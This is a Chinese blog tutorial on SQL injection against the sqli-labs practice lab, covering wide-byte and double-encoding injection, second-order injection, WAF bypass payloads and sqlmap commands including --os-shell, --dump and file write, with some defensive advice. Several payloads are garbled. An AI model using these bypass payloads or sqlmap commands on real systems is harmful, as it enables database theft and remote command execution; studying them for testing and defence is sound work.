SQL注入防御绕过和sqlmap简单介绍

本文深入探讨了SQL注入的概念,包括宽字节注入和二次编码注入的原理与防范措施。同时,介绍了如何利用SQLMap进行注入测试,讲解了SQLMap的工作流程、参数设置以及Tamper脚本的编写。还提到了绕过WAF的策略,并讨论了相关防御方法。
摘要由CSDN通过智能技术生成

宽字节注入

什么是宽字节
GB2312、GBK、GB18030、 BIG5、 Shift_JIS等这些都是常说的宽字节,实际为两字节。
英文1字节,汉字2字节。

输入 ’
处理 \’
编码 %5C%27 \’
带入SQL Id=1\’ and
不能注入

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字
输入 %df’
处理 %df\’
编码 %df%5C%27 運’
带入SQL id=運’ and
可以注入

两个字符组合,认为是一一个汉字
注:前一个Ascii码大于128才能到汉字的范围

宽字节注入方法
方法:在注入点后键入%df ,然后按照正常的注入流程开始注入
Less-32
http://127.0.0.1/sqli-labs/Less 32/?id=%df’ union select 1,(select user()),3–+

黑盒测试:在可能的注入点后键入%df,之后进行注入测试

白盒测试:
1、查看MySq|编码是否为GBK
2、是否使用preg. replace把单引号替换成\’
3、是否使用addslashes进行转义
4、是否使用mysql_real_escape_string进行转义

避免宽字节注入
1、使用utf-8,避免宽子节注入;
ps:不仅在gbk,韩文、日文等等都是宽子节,都有可能存在宽字节注入漏洞。

2、mysql_real _escape_string, mysqL set_charset( ’ gbk’,$conn);

3、可以设置参数,character_set_ client=binary

二次编码注入

宽子节注入和二次编码注入:是在面对PHP代码或配置,对输入的’(单引号)进行转义的时候,在处理用户输入数据时存在问题,可以绕过转义。

宽子节注入:GBK编码处理编码的过程存在问题,可构造数据消灭\

二次编码注入:urldecode()与PHP本身处理编码时,两者配合失误,可构造数据消灭\

二次编码注入方法
方法:在注入点后键入%2527 ,然后按照正常的注入流程开始注入
doublecode.php
Less-1/doublecode.php?id=%2527 union select 1.(select user()),3–+

黑盒测试:在可能的注入点后键入%2527,之后进行注入测试

白盒测试:
1、是否使用urldecode函数
2、urldecode函数是否在转义方法之后

二次注入原理,主要分为两步
第一步:插入恶意数据:第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据:在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就
会造成SQL的二次注入。

二次注入防御
对外部提交的数据,需要更加谨慎的对待。程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。

二次编码注入原理
用户输入 id=1%27
PHP自身编码 id=1’
转义 id=1\’
带入SQL id=1\’ and
不能注入

PHP代码中了urldecode(等编码函数放在了一-使用个尴尬的位置,与PHP自身编码配合失误

用户输入 id=1%25%27
PHP自身编码 id=1%27
转义 id=1%27
函数编码 id=1’
带入SQL id=1\’ and
可以法入!

绕过原理介绍

一架构层绕过WAF :
1.寻找源站——>针对云WAF
2.利用同网断——>绕过WAF防护区域
3.利用边界漏洞——>绕过WAF防护区域

二、资源限制角度绕过WAF:
1.POST大BODY

三.协议层面绕过WAF的检测:
1.协议未覆盖绕过WAF
请求方式变换:GET ——> POST
Content Type变换: application/x-www-form-urlencoded; > multipart/form-data;
2.参数污染

四、规则层面的绕过:
主要的绕过方式:
1.SQL注释符绕过
Level-1 : union/**/select
Level-2 : union/*aaaa%01bbs*/select
Level-3 : union/*aaaaaaaaaaaaaaaaaa*/select
内连注释: /*lxox*/

2.空白符绕过
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xx*/
正则的空白符: %09,%0A.,%0B,%0D,%20
Example-1: union%250Cselect
Example- 2: union%25A0select

3.函数分割符号
concat%2520(
concat/**/(
concat%250c(
concat%25a0(

4.浮点数词法解析
select * from users where id=8EOunion select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3.,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

5.利用error-based进行SQL注入:Error-based SQL注入函数非常容易被忽略
extractvalue(1, concat(0x5c,md3));
updatexm(1, concat(0x5d,md3(3)),1);
GeometryCollection(seletfrom(selectfrom(select@@version)f)x)
polygon((select*from(select name. const(version0,1)x)
linestring()
multipoint()
multilinestring()
multipolygon()

6.MySQL特殊语法
select{x table_ name}from{x information, schema.tables};

Fuzz绕过
每一个点都能找到绕过的办法
以注释绕过为例子,开始Fuzz

注释符绕过
先测试最基本的: union/**/select
再测试中间引入特殊字: union/*aaaa%01bbs*/select
最后测试注释长度: unn/*aaaaaaaaaaaaaaaaaaaaaaaa*/selecte
最基本的模式:union/* something*/select

sqlmap介绍

使用Sq|Map进行注入测试
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1”
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1” --current-db
Python sqlmap.py -u “http://127.0.0.1/Less -1/7id=1” --current-user
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1” -D security --tables
Python sqlmap.py -u “http://127.0.0.1/Less- 1/?id=1” -D security -T users --columns
Python sqlmap.py -u “ttp://1270.0.1/Less -1/?id=1” -D security -T users -C username,password --dump
Python sqlmap.py -U “http://127.0.0.1/Less-1/?id=1” --os-shell
Python sqlmap.py -u “http://127.0.0.1/Less- 1/?id=1” --sql-shell
Python sqlmap.py -u “http://127.0.0.1/Less -1/?id=1” -file read
Python salmap.pv -u “http://127.0.0.1/Less-1/?id=1” --file-write 本地文件–file dest目标目录及文件

Tamper脚本编写
以base64encode.py为例:

#!/us/bin/env python
头部申明

‘’’
Copyright © 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file ‘doc/COPYING for copying permission
‘’’
注释说明

import base64
引入的可能所需的第三方库

from lib.core enums import PRIORITY
from lib.core.settings import UNICODE ENCODING
SqlMap内部调用,基本不变

_priority_ = PRIORITY.LOWEST
def tamper(payload, **kwargs):
‘’’
Base64 all characters in a given payload
>>> tamper(“1’ AND SLEEP(5)#”) "MScgQUSEIFNMRUVQKDUplw==’
‘’’
return base64.b64encode(payload encode(UNICODE ENCODING)) if payload else payload
改变payload的代码
在这里插入图片描述
SQLMap的conf
常用的默认值列举:
# Seconds to wait before timeout connection.
# Valid: float
# Default: 30
timeout = 30

# Maximum number of retries when the HTTP connection timeouts.
# Valid: integer
# Default: 3
retries = 3

# Default: 1
level = 1
# Default: 1
risk= 1

[Techniques]
tech = BEUSTQ
# Seconds to delay the response from the DBMS.
# Valid: integer
# Default; 5
timeSec = 5

# Default: 1
verbose = 1

sqlmap工作流程
在这里插入图片描述
1、经常使用-hh

2、-V (0-6)
0: Show only Python tracebacks, error and critical messages.
1: Show also information and warning messages.
2: Show also debug messages.
3: Show also payloads injected.
4: Show also HTTP requests.
5: Show also HTTP responses’ headers.
6: Show also HTTP responses’ page content.

3、–batch: 自动回答确认默认为大写的选项,如( [Y/n] Y )
–answers= ANSWERS Set question answers (e.g. “quit=N,follow=N”)

4、–proxy: 设置代理
还有很多协议的认证访问设置,均在Request里,可自行学习。
-t可以将注入过程导出成文件

5、–flush-session 刷新session数据库 ,刷新检测、payload结果。
–purge-output删除所有保存的数据文件夹。
–fresh-queries刷新数据获取结果。

*的误区
需要用到星号的时候:
1、url中的值 , sqImap默认不注入,需要*号指定

2、json格式 , sqImap会变傻,需要*号进行

3、在默认level(1) 时,可以使用*对特定的请求头做注入
sqlmap-v0 -u http://127.0.0.1/Less-1/?id=*1 --proxy=http://127 .0.0.1:8080 --flush-session --batch --technique=B
sqlmap-v0 -u http://127.0.0.1/Less-1/?id=1* --proxy=http://127 .0.0.1:8080 --flush-session --batch --technique=B

payload = where + boundary.prefix+test.payload+boundary.suffx

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值